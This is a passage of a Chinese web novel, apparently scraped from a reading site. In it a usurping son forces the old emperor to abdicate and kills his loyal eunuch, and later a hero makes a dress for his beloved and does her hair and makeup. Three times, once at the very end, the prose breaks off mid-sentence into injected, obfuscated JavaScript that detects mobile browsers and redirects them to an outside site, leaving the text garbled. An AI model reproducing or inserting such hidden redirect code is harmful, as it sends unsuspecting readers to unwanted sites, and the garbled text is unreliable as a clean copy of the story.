李钰顿了顿,回答道:“他……和朕分开了。” “这样啊。”李晁奚若有所思地点点头,“可需要儿臣派人去寻二皇兄下落?” “不必!”李钰连忙制止,随后也意识到自己的反应有些过于急切了,尴尬地挪开视线,稍稍放缓语气,“半道便自己逃走的孽障,不必再找。” 李晁奚沉吟片刻,神色晦暗不明,“是吗?儿臣明白了。” …… 这场宴席在尴尬而诡异的氛围中结束了。 就在此时,李晁奚突然起身,走到李钰身前,跪拜行礼道:“父皇,儿臣自知罪孽深重,求父皇责罚!” 李钰吓了一跳,“何罪之有啊?” 李晁奚双手交叠,抬首望去,神色恳切,“儿臣罔顾纲常,自立为帝,有悖于礼法,是不敬君父之大罪。父皇若要惩戒,儿臣绝无怨言。” 此时的李晁奚已是手握实权的天子,李钰哪里担得起他这一跪? 李钰慌忙上前搀他,“你为我大昭守下城池,驱逐叛军,乃是天大的功绩。至于旁的,哪有那般重要?” 李晁奚眸中仍是一片赤诚,“儿臣自知罪孽深重,如若父皇不弃,儿臣便将这位置交还父皇。” 交还? 呵,说得倒是漂亮。 倘若李晁奚当真愿意把皇位交还回来,就不会装模作样地来征询他的意见。 他算是明白了,李晁奚今日特意设下宴席,说是要恭迎父皇回宫,其实就是逼着他退位让贤。 李晁奚在战时自立为帝,虽是为了大局考虑,但这皇位毕竟来得名不正言不顺。可倘若李钰当着群臣之面,亲口承认李晁奚的天子之位,那就不一样了。 此举看似是在征询李钰的意见,实则一点余地也未曾给他留。 李钰离京数月,京中时局已在李晁奚的掌控之中,若是强行要回皇位,只怕会有性命之忧。 更何况长祈一战后,天下民心尽皆向着李晁奚。属于他李钰的时代,早已过去了。 李钰强忍着心中翻涌的情绪,假装平静地说道:“多亏有你力挽狂澜,布阵防守,方可保全长祈免于沦陷。此番叛乱,是朕之过,想来上了年纪,也该把江山交给小辈了。” 李晁奚微微颔首,静待他把话说完。 李钰深吸一口气,终于说道:“你既已称帝,朕便就此放手。从今往后,定要多为民情民生着想,万事万物以江山社稷为先。吸取前人之教训,发扬己身之才能,为天下百姓,重现昔日繁华盛景。” 李晁奚瞳孔微颤,似是感动极了,俯首再拜,“谨遵父皇教诲。” 席上其余臣子也纷纷跪拜,“陛下英明!” 李钰望着阶下叩首的众臣,知晓他们并非是在拜自己,而是在拜身前这个野心勃勃的新帝。 一时之间,难以言喻的悲凉与疲惫涌上心头,让他挤出一个难堪的笑容来。 …… 宴席结束后,李钰在宫人带领下,来到新的住所。 这座宫殿大而宽敞,陈设齐全完备,院里还种着些奇花异草,环境可以说得上舒适。但比起从前睥睨凡尘、豪掷千金的日子,到底还是差了不少。 李钰不禁在心中自嘲——做皇帝做到他这个份上,可真是窝囊啊。 身边宫人焕然一新,想也知道是李晁奚派来监视他的。而今唯一能信任的人,竟只有从始至终都跟在他身边的老太监高严。 夜里,李钰找了借口将旁人遣散,只留高严一个人在身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13917251|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伺候。 房间里只剩下两个人,李钰再难忍心中愤怒悲凉,压抑着声音,恨恨地说道:“孽障,真是孽障……早知如此,当初朕就该,就该……” 就该在发现李晁奚并非他亲生孩子那日,就亲手将他掐死! 李钰这辈子很少心软,可偏偏这一次,他因着对薛姨娘的喜爱,因着对这个孩子残存的疼宠,可笑地动摇了。 恰是这一次动摇,为他今日的狼狈败退埋下伏笔。 可笑啊,多么可笑! 他做了一辈子皇帝,最后居然要眼睁睁地看着一个没有皇室血脉的私生子,登上属于他李家的皇位? 来日到了九泉之下,他该如何向李家先祖交代! 高严是少数知道李晁奚血脉秘密的人之一,看着李钰这副落魄的模样,他心里也不好受,只能尽力劝着,“陛下放宽心,怀王殿下已经启程投奔国舅爷,假以时日,定能重新杀回京城,夺回李家的皇位。” “若果真如此便是最好……”李钰喃喃自语着,却好似突然间想起了什么,脸色骤变,连连摇头,“不,不对,有问题,有问题……” 高严不解其意,搀扶着他,满脸担忧,“什么?” “宴席之上,那孽障问了怀王的下落……”李钰回想着今日发生的一切,脸上血色尽数褪尽,“可他为何不问梁相呢?” 失去踪迹的人不止怀王一个,可李晁奚为何只问起怀王,而不问梁相? 高严有些犹疑地回道:“陛下会不会想多了?除了怀王,他也没有问起大殿下呀。” 高严口中的“大殿下”,便是林予哲发起叛乱之前,被李钰贬为庶民的废太子李晁暄。当日皇家众人仓皇出逃后没多久,李晁暄便跪别李钰,求他放自己离开队伍,归去山野。 那时的李钰整个人都失魂落魄的,对于如此请求,没有什么犹豫便答应了。故而今日回宫,李晁暄亦不在随行之列。 “这不一样。”李钰摇着头。 废太子李晁暄早已是被贬谪的庶人,他归来与否,不会改变朝中时局,更不会对李晁奚构成威胁。 可是梁相不同,他手握重权,党羽众多,如若回朝,必定会成为李晁奚的心头大患。李晁奚不可能不关心他的下落。 可李晁奚既然问起怀王,却不问梁相,莫非是因为……他早已知道…… “莫非他早就知道,梁相已死……”李钰微微睁大了眼。 …… 梁朝越死了,死于亡命途中,一场突如其来的暴乱。 那时候,所有跟随天子出逃在外的人都狼狈不堪、光鲜不再,人人沉浸在对山河将倾的恐惧,以及对未来何从的迷惘之中。还有些人,则为自己背信弃义、落荒逃跑的举动感到懊悔与煎熬。 暴乱就是在如此情形之下发生的。 一开始,是有人带头状告丞相梁朝越长久以来结党营私、祸乱朝纲,又在叛军将近之时仍旧只顾一己之私,为在军中培植党羽而所荐非人,致使青函关被破,北境铁蹄踏足长祈。若不杀,实在难以平众怒。 而后,这样的声音越来越多,越来越大。群臣怒火难平,以停止行进为筹码,胁迫天子尽快处置奸佞。 李钰被众臣愤怒的呼喊包裹着,一时间感到茫然无助。 直觉告诉他,不能就这样迫于威胁而处置梁朝越,否则未来,他的威望与权力只会越来越黯然。 李钰没有即刻答应此事,只是劝众人以大局为重。至于论罪一事,还是容后再说。 众臣并不买账,一时之间僵持不下,谁也不肯退让。 李钰无奈,只能先下令将梁朝越羁押起来,希望能拖延一时。 谁知当夜,梁朝越便被人斩于营帐之中,死不瞑目。至今,依然不知背后下手之人究竟是谁。 思绪飘回如今。 今日宴席之上,李晁奚问起怀王的下落,却并未提及梁朝越,到底是因为什么? 是单纯忘了,还是说,他早已知道……梁朝越已经不会对他的统治造成任何威胁了。 李钰心中突然有一个可怖的想法,惊得他浑身上下都在颤抖,“难道说,当初挑起暴乱,杀死梁朝越的幕后之人,其实就是……” “轰隆隆——” 窗外雷声巨响,接下来便是毫无征兆的倾盆大雨。 电光一闪而过,李钰的脸色在一瞬间变得惨白。 狂风呼啸,掀开原本紧闭着的房门。而门外,赫然出现了一个人影—— 李晁奚一身玄衣,正站在门口,神色晦暗不明。 87. 雨夜 惊雷轰鸣,电光闪烁,映得人容颜惨白。 李钰看清来人面目,几乎是立刻跌坐在椅子上。 李晁奚看出他神情中的恐惧,却一言不发,只是一步一步地向前迈去。 “你,你……”李钰瞪大眼睛,死死地盯着他。 眼看着李晁奚越走越近,周身散发着令人难以喘息的压抑气息。高严没有什么犹豫,挡在了李钰的面前。 李晁奚停住脚步,微微挑眉,“高公公,朕与父皇说几句话,不必如此大惊小怪吧。” 他的语气十分平静,语调全无波澜。可不知为何,却让人脊背生凉,心尖颤抖,仿佛被一只无形的大手扼住脖颈。 见高严迟迟没有行动,李晁奚语气更加危险,“高公公,听不清朕说话么?” 高严喉间干涩,须臾之后,退至一旁,垂手而立。 前方没有了阻挡,李晁奚径直来到李钰身前,居高临下地看着他,“父皇。” 李钰从没见过这样的李晁奚。 从前,李晁奚只是个不受人待见的皇子,没有人将他放在眼里。后来,他在西南剿匪一行中立下大功,开始展露锋芒,李钰也只觉得他是有几分本事,却是个不知变通的倔脾气,往后定然是斗不过怀王的。 所以,李钰心安理得地将他当成一枚用以制衡怀王势力的筹码,故意提拔他,给他更多在朝中崭露头角的机会。 人人都知晓,李钰的皇位乃是发起宫变,杀兄逼父夺来的,他比任何人都明白,任凭某个皇子势力独大,会招致祸端。唯有多方制衡,方可在皇位之上高枕无忧。 可说到底,他心中理想的继承人从来就只有怀王一个。 李钰从来就没起过将皇位传给李晁奚的心思。即便是罚怀王回府禁足的那段时日,也从来没有过。 …… 其实,李晁奚这个孩子,他原本是疼爱过的。 李晁奚幼时聪慧过人,三岁识字,七岁便能作诗。虽是孩童,却往往语出惊人,对万事万物皆有自己的一番见地。每逢宫学考试,总是名列前茅,因而招致了不少嫉恨。倘若不是李钰有心维护,也许他早早便丧命于他人之手。 可就在李钰发现他并非自己亲生子嗣后,这份疼爱便在顷刻之间灰飞烟灭。 李钰痛恨背叛,更痛恨这种被人愚弄的感觉。怒火涌上心头之时,他恨不能亲自将那个野种掐死! 他真的,差一点就这么做了。 夜里,他去了李晁奚的居所,屏退四周下人,只身来到卧房。 彼时尚且年幼的李晁奚侧躺在寝具上,已然睡着了。 那时的李晁奚还是个蜜罐里长大的孩子,性格要比现在活泼许多,也总爱笑,就像个暖人的小太阳一样。即便是睡着了,嘴角也是向上扬起的。 这孩子睡觉并不怎么踏实,翻来覆去,将被子踢得乱糟糟的。难怪更小一点的时候,总是生病。 他蜷缩着,嘴里嘟嘟囔囔的,好像在说梦话,看起来可爱极了。 李钰心情复杂地走上前去,一步,两步…… 他伸出手,颤抖地伸向那个孩子的脖颈。 就在指尖刚刚触到肌肤之时,李晁奚却突然往床边拱了拱,在睡梦之中一把抱住了李钰的胳膊。 李钰心下一惊,便想甩开。谁知那孩子抱得更紧了,还在迷迷糊糊地说着什么。 “父皇,抱……” 李钰蓦地睁大了双眼,心间被一股莫名的情绪填满了。 那夜,他在李晁奚的床头坐了许久,静静看着幼童软糯可爱的面庞,以及与赵姨娘极为相似的面容,只觉心情复杂。 理智告诉他,不该将这个扰乱皇室血脉的孽种留着。 可是,可是…… 他曾陪他一起放过风筝,骑过马,授他诗书礼仪、文史策论,寄予他无限的厚望与期待。 曾经,李钰疼惜他幼年丧母,留在身边亲自教养。 这是他亲自养大的孩子。 李钰终究没能下得去手。也许是前些年杀孽太多,他竟也变得感情用事起来了。 反正,在这吃人不吐骨头的深宫之中,若是无人庇护,也该也活不长久吧。何必亲自动手,再造杀孽呢? 李钰如此想着,轻叹一声,便离开了。 从此,他对李晁奚的态度急转直下,从原来的关怀备至,变得冷漠苛刻。稍有一点不顺心,便会施以惩戒。小则罚抄诗文,重则长跪不起。 一开始,李晁奚不知道自己做错了什么,让一向疼爱自己的父皇突然变了态度。 他虽没能猜出原因,却认定是自己的错,所以总是变着花样地去讨父皇开心。结果非但没能挽回父皇的疼爱,反而招致更多厌恶与辱骂。 渐渐的,他似是明白,无论自己做得有多好,都无法再修补父子二人之间的裂缺。于是,他不再去讨好李钰,而是变得沉默起来。 李钰的孩子有许多,他不过是其中之一。而当李晁奚不再主动讨好李钰后,李钰也就渐渐淡忘了这个存在。 直到后来,李钰听高严说起五皇子落水,险些丧命,变得木讷痴傻后,也只是淡淡地表示自己知道了。 李晁奚活了下来。 在这纷乱阴惨的深宫之中,无人可依,无人可求,可他还是活了下来。 多年的韬光养晦,早已炼出他隐忍顽强的心性。他沉着稳健,一步一步在暗中培养自己的党羽和势力,终于在黑云山一役后,从幕后走到了台前。 关于将李晁奚作为用以制衡怀王势力的筹码这一点,李钰其实心有愧疚。 在他眼里,李晁奚虽然心机深厚,却对他这个父皇敬爱有加,即便遭到冷待与苛责,也从未抱怨一句,反而事事为他着想,可他的内心却从未赋予李晁奚夺嫡的资格。 因着这份愧疚,叛军攻破青函关,直往长祈而来之时,李钰决定带上这个没有血缘的孩子一起离开。 他想让李晁奚活下去。 可他无论如何也想不到,李晁奚的温良顺从都是假的,都是演给他看的。 于是,李晁奚假意听从弃城之策,实则留在长祈,自立为帝。 若得胜,便是一战成名,功绩无双。 若是败了……他就会成为叛军第一个屠戮的对象,即便是被扒了皮肉、放干鲜血,也不为过。 李钰终于明白,这个看似温顺稳重的孩子,其实就是个彻头彻尾的疯子。 …… 而此时此刻,当这个看似平静的疯子从轻蔑地俯视自己时,李钰不由得感到毛骨悚然。 李晁奚将他眸中恐惧尽收眼底,露出一抹不易察觉的微笑,“父皇,您都猜到了?” 李钰尽量让自己冷静下来,以保全他这个落魄帝王最后一点尊严,“暗杀梁相一事,当真是你做的?” “嗯。”李晁奚微笑着点了点头。 “你!”李钰气血翻涌,“从你知道朕要弃城南下起,你就算计好了这一切。不止要在长祈自立为帝,还要在南下队伍中安插人手,借机铲除梁相。是这样吗?!” “是啊,父皇猜得很对。”李晁奚淡淡地道。 “好算计,真是好算计!”李钰浑身颤抖着,“危难将至之时,朕想带你一同逃命,你却想着如何将朕从皇位上拉下来!” “带儿臣逃命?”李晁奚歪歪头,颇为不解地看着他,“父皇不会以为,逃命……也算得上一种恩赏吧?” “你!” 李晁奚无视他的愤怒,继续说道:“更何况,父皇从没起过要让儿臣即位的心思,儿臣自然也该耍些手段,不是吗?” 李钰立时愣在原地,微微睁大双眼,“你怎么知道朕从未起过那心思……你……你早就知道自己的身世?!” 李晁奚淡淡一笑,看起来不甚在意,“虽是如此,儿臣心中,一样敬重父皇。” “你何时知道的?” “记不太清了,大概……是十几年前吧。” “你早知自己不是皇室血脉,却还起着夺走皇位的歹念?!”李钰心头大骇,震惊到不能自已。 “父皇,儿臣得纠正您。”李晁奚的语调依旧没有什么起伏,平静得令人感到心慌,“这不是歹念,这已经是事实了。” “你,你!”李钰气得浑身颤抖,呼吸不畅,“你这个,扰乱皇室血脉的孽种,贱婢生的下贱胚子!大逆不道……大逆不道!” 李晁奚略微挑眉,看不出心情如何。 李钰骂完之后就后悔了——倒不是担心恶语伤人,而是惊觉自己的身家性命如今都在李晁奚手上,若是激怒他,对自己没好处。 空气一瞬间变得沉寂起来,落针可闻,冷冽不安。 李晁奚突然笑了一下,说道:“我便是侍妾生下的私生子又如何?” 头发花白的老皇帝愣住了。 李晁奚俯下身,一手撑在椅背上,直勾勾地盯着李钰,挑起一抹戏谑的笑意来,“父皇,眼睁睁地看着一个侍妾和侍卫私通的野种夺走了你的皇位,这种感觉,好不好受啊?” “大逆不道?”李晁奚玩味地重复了一遍李钰方才说过的话,随即轻笑一声,“我便是道。” “你……你!”李钰眼前一阵又一阵地发黑,几乎已经说不出任何话来了。 “曾经,我是那么敬重您,爱戴您,把您视作我一生的榜样。”李晁奚一字一句地说着。 他的声音不大,但每一个字都让人感到格外沉重。 “是您亲手将我推入众矢之的绝境,又决心不再管我的死活,任我在深宫之中,被蚕食殆尽……父皇,您可知道,御花园冬日的池水,有多冷么?” 李钰被他压制得动弹不得,慌忙摇头,“你不能怪朕,这不是朕的错……你又不是朕的儿子,你凭什么怪朕!” 李晁奚看了他片刻,松开手,站直身子,语气变得轻松下来,“您误会了,父皇,儿臣不怪你。” 禁锢解除,李钰仍旧有些惊魂未定,浑身警觉。 门外仍旧雷声大作,木窗被拍打得连连作响。 下一秒,宝剑出鞘,寒光乍现,血花四溅。 鲜血喷洒,李钰感觉到面颊上传来灼烫而粘腻的触感。 他惊恐地睁大了双眼——只见老太监高严的脖颈上赫然出现了一道血淋淋的口子,正不断地涌出血来。 高严直挺挺地倒了下去,在地上抽搐了两下,死了。 李钰张了张嘴,只觉喉间干涩,发出几声无意义的呜咽。 月色入户,映在李晁奚满是鲜血的脸上,衬得他恍如地狱鬼魅。 他收起染血的剑,看着李钰惶恐不安的神色,语气有几分责怪,“父皇,您又不是没杀过人,这么害怕做什么呢?这可一点儿也不像原来的您。” 李钰浑身颤抖,没有说话。 “父皇,不管您信不信,时至今日,儿臣依旧敬您,爱您。所以……”李晁奚说道,“儿臣会让您亲眼看到,这大昭江山在我手中变得越来越好,变得比从前还要好。” “而江山之主……”李晁奚顿了顿,勾起一抹嘲讽的微笑,“不再是您的子孙后代。” 这句话对于李钰而言,毫无疑问是压死骆驼的最后一根稻草。 他失魂落魄地跌倒在椅子上,胸闷气短,眼前一阵阵眩晕,只能发出几句虚弱无力的低语,“你休想……” 李晁奚低垂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001101|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,“事到如今,您不会还将希望寄托在二皇兄身上吧。” 李钰没有回答他的话,只是死死地咬着嘴唇。 “父皇,您当真以为,让二皇兄投奔他的舅父东南王,儿臣就拿他一点办法都没有啦?”李晁奚幽幽地说道。 李钰猛地抬起头,“你要做什么!” “儿臣要做什么,父皇不知道?”李晁奚玩味地道,“父皇莫不是忘了当初,您是怎么对太子李焱的?” “不!!!你不能这么做,你不能这么做!”李钰扑了上来,抓住他的衣袖,“这天下已经是你的了,你就放他一命,放他一命,啊?” 李晁奚冷眼看着这个昔日风光无限的帝王,如今为了亲生孩子的性命,跪在他这个私生子面前苦苦求饶,心中越发烦躁起来。 他退后一步,毫不留情地将李钰甩开,语调冰冷,“父皇,夜深了,早些休息。” 说罢,李晁奚转身离去,加快步伐,将李钰痛苦的嘶嚎甩在身后。 出了房门,混杂着雨水与泥土气味的新鲜空气扑鼻而来。 吹着冷风,李晁奚烦躁的思绪稍稍平静了一些。 云飏候在门外,见他出来,连忙递上一件外氅。 李晁奚接过,披在身上。旋即撑起伞,不再停留,走入无边雨幕之中。 …… 夜里下过一场大雨,枝头黄叶簌簌吹落。 晨起后,便见满院金黄,铺落成毯,恍如幻境。 阿柔轻车熟路地来到司言的宅邸,一路穿过游廊,行至内院之中。遥遥地望见司言坐在个小马扎上,手里捣鼓着些木板和绳子之类的东西。 “阿言!”阿柔冲他喊了一声,走上前去,好奇地道,“做什么呢?” 司言见他来,肉眼可见地高兴起来,语气也很轻快,“扎秋千。” “秋千?”阿柔轻笑一声,“看不出,司门主还挺有童趣的嘛。” “不过是一时兴起罢了。”司言眼含笑意,语调温柔,“晨起时,见满院黄叶飘落,秋色斑斓。站在此间,如画中游。可虽是好景,却总觉得少了些什么,思来想去,许是缺了些烟火气。少了一架秋千,还有……秋千上的人。” “哦——”阿柔拖长了语调,“司门主今日唤我来,是叫我做那秋千上的人,给你这画卷添几分活人气儿?” “嗯,是啊。”司言嘴角微微勾起。 阿柔轻笑一声,从背后抱住他,在他脖颈处亲昵地蹭了蹭,“你就是想见我,直说不就好了?” 司言被她这么一抱,面上笑意更是压都压不下来,“我看好些吟咏男女情思的诗文,都是这样委婉。” “那也有写得直白的呀。”阿柔辩驳。 “比如说呢?”司言眨眨眼。 “比如说……”阿柔冥思苦想了一会儿,突然想到一句,“‘只愿君心似我心,定不负相思意’?” 说完这句,却见司言俯下身子掩面偷笑。 阿柔反应过来他是故意的,没好气地在他肩上捶了一下,“你就是想诓我给你说这些肉麻话。” “好啦好啦,阿柔不要这么小气嘛。”司言笑着求饶。 两个人玩闹了一会儿,阿柔主动提出一起扎秋千,司言自是欣然答应。有她帮忙,秋千很快便扎好了。 司言站起身来,身上已出了一层薄汗。他牵起阿柔的手,往屋内走。 阿柔疑惑道:“刚扎好的秋千,不试试看吗?” “一会儿再试,先洗手,我有东西给你看。”司言解释。 “哦。”阿柔闻言,乖乖跟他去了。 待洗净了手,司言引着她去了一处偏房。 这地方空间不大,一眼便看得到头。四处陈列着不同材质的展架,其上摆放着各色陶艺文玩、书画字样,看起来像是间藏品室。 阿柔抬眼便看到,自己赠予司言的那幅《羁鸟归林图》,被挂在墙壁中央最显眼的位置上。 阿柔有些揶揄地说道:“呀,怎么有人把自己画的画摆在最中间呀。” 司言笑了笑,解释道:“这屋子里的东西都是我做的。” 阿柔:“……” 她果然还是低估了司玄掌门教育的恐怖程度。 司言继续说道:“无论是写字还是作画,都能让人放松心境,得一晌安宁。小时候,我没有什么玩耍的机会,只能靠如此方式放松休整,后来也就养成了习惯。不知不觉间,竟攒下这么多物件。” “所以,你就将这些东西都带到京城来啦?” “嗯。所谋之事太多,闲暇时光太少。即便不能亲自动笔写字作画,哪怕在这里待上片刻,也能轻松不少。”司言抬眸望向那画卷上的归鸟,“与此同时,它们也能提醒我,不要忘记来到京城的初心。” 司言向前走去,来到中央的展架旁。 整个房间,只有这一处展架被布帷盖住,看不清模样。但从轮廓分辨,应当是衣物一类的物件。 司言没给阿柔留多久的悬念,直接将那层布掀开—— 只见布帷之下,是一身明亮鲜妍的衣裙。衣上缀有珍珠刺绣,灿灿生辉。 宽边领口之上绣着花,红白交错、错落有致。红色系带绕过领口下方,垂于两侧,底端也缀着鲜花。 裙身整体呈杏白之色,腰身下方那一片布料之上却又染上了些橙红,看起来不甚规则,却又美得别具一格。襦裙之外披着一件浅橙色大袖衫,袖口同样有刺绣工艺,看起来明艳华美。 阿柔眸中颤动,睁大了眼,“这是……” “这是我为你准备的礼物。”司言看着她,语调温柔地哄诱着,“阿柔穿上,给我看看,好不好?” 88. 梳妆 阿柔心间颤动,看着眼前华美的衣裙,有些惊讶地问道:“别告诉我,这也是你做的?” “实物不是我做的,但图纸是我画的。”司言如实回答,“那日在成衣店,你试衣之时,我将图纸交给掌柜,让他照着样子做出来。” “天啊,司言。”阿柔惊叹着走到展架前,小心翼翼地用手触摸着衣上纹绣,震撼到有些词穷,“我的天啊……” 都说爱美之心,人皆有之,即便是在战场上杀伐决断的将领,亦不免会为美的事物所吸引。 阿柔不常花时间在打扮上,却绝非不乐意打扮。每逢年节添置新衣时,她也是同样欢喜的。 更不必说,这套衣裙出自心上人之手,是这世间独一无二的珍宝,如何令她不感动? 阿柔张开双臂抱住司言,脸颊紧紧贴在他胸膛之上,像只小猫一样蹭了蹭,“阿言,你送的礼物,我好喜欢,好喜欢……” 此刻虽是深秋时节,司言却觉心中有万千春花绽开,馥郁芬芳,空气中也夹杂着丝丝甜意。 在遇到阿柔之前,他独自背负责任与枷锁,在一条看不清未来的道路上茕茕孑立、踽踽独行。 习惯了在雪夜之中独自前行的旅人,从未想过有一天,能够与春日拥抱满怀。 她是照彻黑夜的烛火,是永不坠落的骄阳,是吹化积雪的一缕春风,是他心间无法褪去的一抹月白。 “阿柔,谢谢你……”司言深吸一口气,加深了这个拥抱,似要将这份春光更加牢牢地握在手中,永不松开。 阿柔微微一愣,随即笑了笑,任由他这么抱着。 过了好一会儿,司言才松开手,“好了,快换上衣服,给我看看。” “嗯。”阿柔笑着答应。 …… 司言坐在刚才扎好秋千上,一个人百无聊赖地荡了好一会儿,终于听到推门的声音。 他立刻起身望去,只见门口处多了一抹橙色的身影。 阿柔穿着司言送她的衣裙,挽了个简单的发髻,又在面上添了几笔浅淡的妆,走到他身前,有些不好意思地道:“我原想着,这样艳丽的衣裳,总该配个相衬的妆靥才是。谁知刚添了两笔,就感觉全都不对了……” 阿柔照着记忆里京中女眷的浓妆试探性地画了画,结果弄得这红一块,那紫一块的,若是被人看见,大抵以为她和什么人打了一架。 一次不成,阿柔又试一次,继而认清自己在此事上当真是没有天赋的。 她无奈,只能将脸全部擦净,胡乱抹了点脂粉便出来了。 即便如此,司言依旧移不开眼。 若是人物可以具象化为某种颜色,阿柔一定是最鲜亮的那抹红。 此时此刻,她一身橙红色衣衫,鲜妍的绣花于袖口与腰背之上绽放绵延。衣裙尾端红白相撞,裙摆随风浮动,似一尾锦鲤般灵动。 若是寻常闺阁女子穿上,大抵只能显现出可爱的一面来。 但阿柔不一样。她行过江湖,上过战场,惩过恶徒,也杀过仇敌。 西北大漠的幼年时光,云影山上的习武生涯,云游四方的侠客之行,以及长祈城门的背水一战…… 过去种种,皆构成了如今的阿柔,在她眉宇之间,刻上旁人所无可替代的坚毅气魄,将她塑造成英姿飒爽、落落大方的模样。 司言想,也许盛世中的女子合该像她这般洒脱大方,不惧人言,但求悦己。可事实上,世间能做到如此之人,实在寥寥无几。 而人又总为那些稀少却美好的事物解鞍停驻、流连忘返,这大抵就是司言倾心于她的原因。 司言眸中像是盛着一汪春水,细腻而温柔。他抚上阿柔的发顶,低笑一声,“阿柔,发髻歪了。” “啊?歪了?”阿柔一惊,连忙提着裙子跑回房间,坐在梳妆台前,果然见到刚梳好的发髻歪了一些,懊恼地喃喃自语,“怎么回事,我看明珠就是这样盘的呀。” 司言跟着她进了屋,站在她身后。 阿柔通过镜子看他,有些不好意思地道:“以前不常盘发,手生了。” “无妨,阿柔不梳妆的模样,也很好看。”司言伸出手,帮她拆着头上的发髻,随后又用梳子将发丝顺得齐整开来。 “那可不行,可不能白白浪费了你的一番心意。”阿柔说道,“反正现在闲下来了,改日,我让明珠教我。” “阿柔要学这个?”司言逗趣道,“真能坐得住?” “你不信?”阿柔微微侧过头去看他,有些不服气的样子,“这就学给你看……” 司言被她逗笑了,“我信,我信。” 阿柔:“……” 可她自己不太信。 正着么说着,司言拢起她的乌发,细致地分成一股一股,用木卡别起来。如此动作,竟是在为她挽发髻。 阿柔惊讶地睁大眼,“你还会这个?” “才学的,还不太熟练。”司言倒不是过谦,他的动作确实有些僵硬,显然是刚学会不久。 “你学这个干嘛呀?”阿柔不解地问。 “还不是担心,礼物送出去后,有个笨蛋会梳歪了发髻吗?”司言一面盘着发,一面垂眸浅笑。 “好啊,你笑话我。”阿柔不满地抗议。 “岂敢,岂敢?”司言连忙讨饶,“今日是阿柔失了手,这才给我一个展示自己的机会,我还要好好谢谢阿柔呢。” “呵呵……”阿柔偷偷翻了个白眼。 司言的手法虽然不甚熟练,挽发的速度也很慢,但挽出的模样却精致又稳固,是个贵气大方的双刀髻。 梳好发髻后,又点上金钿、别好珠钗,最后再缀上一支飞鸟模样的金色步摇。整个发髻显得富贵大气,又不失娇俏灵动。 罢了,似是觉得不够,司言又执笔点上脂粉,让阿柔转过身来,面对自己。 “别动。”司言微微蹲下身,一手托着她的后颈,一手执笔,于她额间点上朱红花钿。 这骤然变近的距离,令阿柔心中如擂鼓一般乱跳。那张星眉剑目的俊脸近在咫尺,越是离近了看,越是移不开眼。 屋内一时间无人说话,只能听到窗外秋风拂过,以及身前之人略显急促的呼吸声。 若不是常年作画,司言可能紧张得都要手抖了。他强自镇定地画完花钿,又在阿柔两侧眼角处添上几抹红。 不过寥寥数笔,便让先前清淡素雅的妆容变得浓丽了不少。 阿柔照过镜子后,自己都看呆了—— 这镜中之人,哪里还是那个出走在外、浪迹多年的女侠客,分明就是豪门大族娇养出来的大小姐。 “阿言,你……”阿柔一时不知该从何问起,“这也是你刚学的?” 司言点点头,“嗯。” 阿柔沉默片刻,深吸一口气,拍了拍他的肩膀,语重心长地道:“司言,你以后就算不做故渊门门主,也一定能养活自己的。” 司言失笑,“我也不是学什么都这样快,只是因为作画与点妆尚有异曲同工之处,这才得心应手些。” “哦,这样吗……”阿柔眯眼看他,颇有一番审视的意味。 “怎么了?”司言面露疑惑。 阿柔凑上来,盯着他的眼睛,“那你是跟谁学的呀?” 哦,这是吃醋了。 司言心中偷笑,面上却不显,如实回答道:“王大娘。” 他口中的王大娘,也是故渊门收留之人,原是地方官宦家的媳妇,后因冤狱沦为奴籍,机缘巧合之下为故渊门所救,再后来便在京中宅院做些家务活。 要说司言这手艺是跟王大娘学的,倒也说得过去。 司言见她一副若有所思的模样,揶揄道:“怎么啦,担心我在外面寻别的姑娘?” “那倒没有。我只是在想,你就算学得再快,也不可能一听就会吧?”阿柔狐疑地看着他,须臾之后,终于下定了某种决心,问道,“说吧,你有没有找别人给你练手!” 司言一时半会没反应过来,“什么意思?” “哎呀,笨。”阿柔干脆说得再直白些,“我是问你,手艺练得这样好,怕不是给旁人也梳过妆吧?” 司言终于反应过来,“怎么可能?” “那你怎么……” “我就不能直接用自己的脸和头发练手吗?” “呃……”阿柔一时语塞,“你是说,你给自己挽发髻、点面靥?” 司言也有些不好意思了。大昭没有男子涂抹脂粉的风俗,司言私下练手的时候,可都是避着人的。 他勉强应道:“是,是啊。” “这,这真是……”阿柔在脑海中想象了一下那个画面,又是好笑又是新奇,一下子兴奋地凑上来,“我也送你一身漂亮的衣裙,你下回画给我看如何?” “想不到阿柔还有这种趣味。”司言微微别过脸去。 “就给我看一下嘛,司门主,我知道你最大方了。”阿柔笑意吟吟地抱着他的胳膊晃了晃。 “你真想看?”司言被她闹得没办法。 “嗯嗯。”阿柔连忙点头。 他有些无奈,“为什么非要看我扮女子不可呢?” 阿柔一本正经地回答:“我想看看话本里那些男扮女装的人,是不是真能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 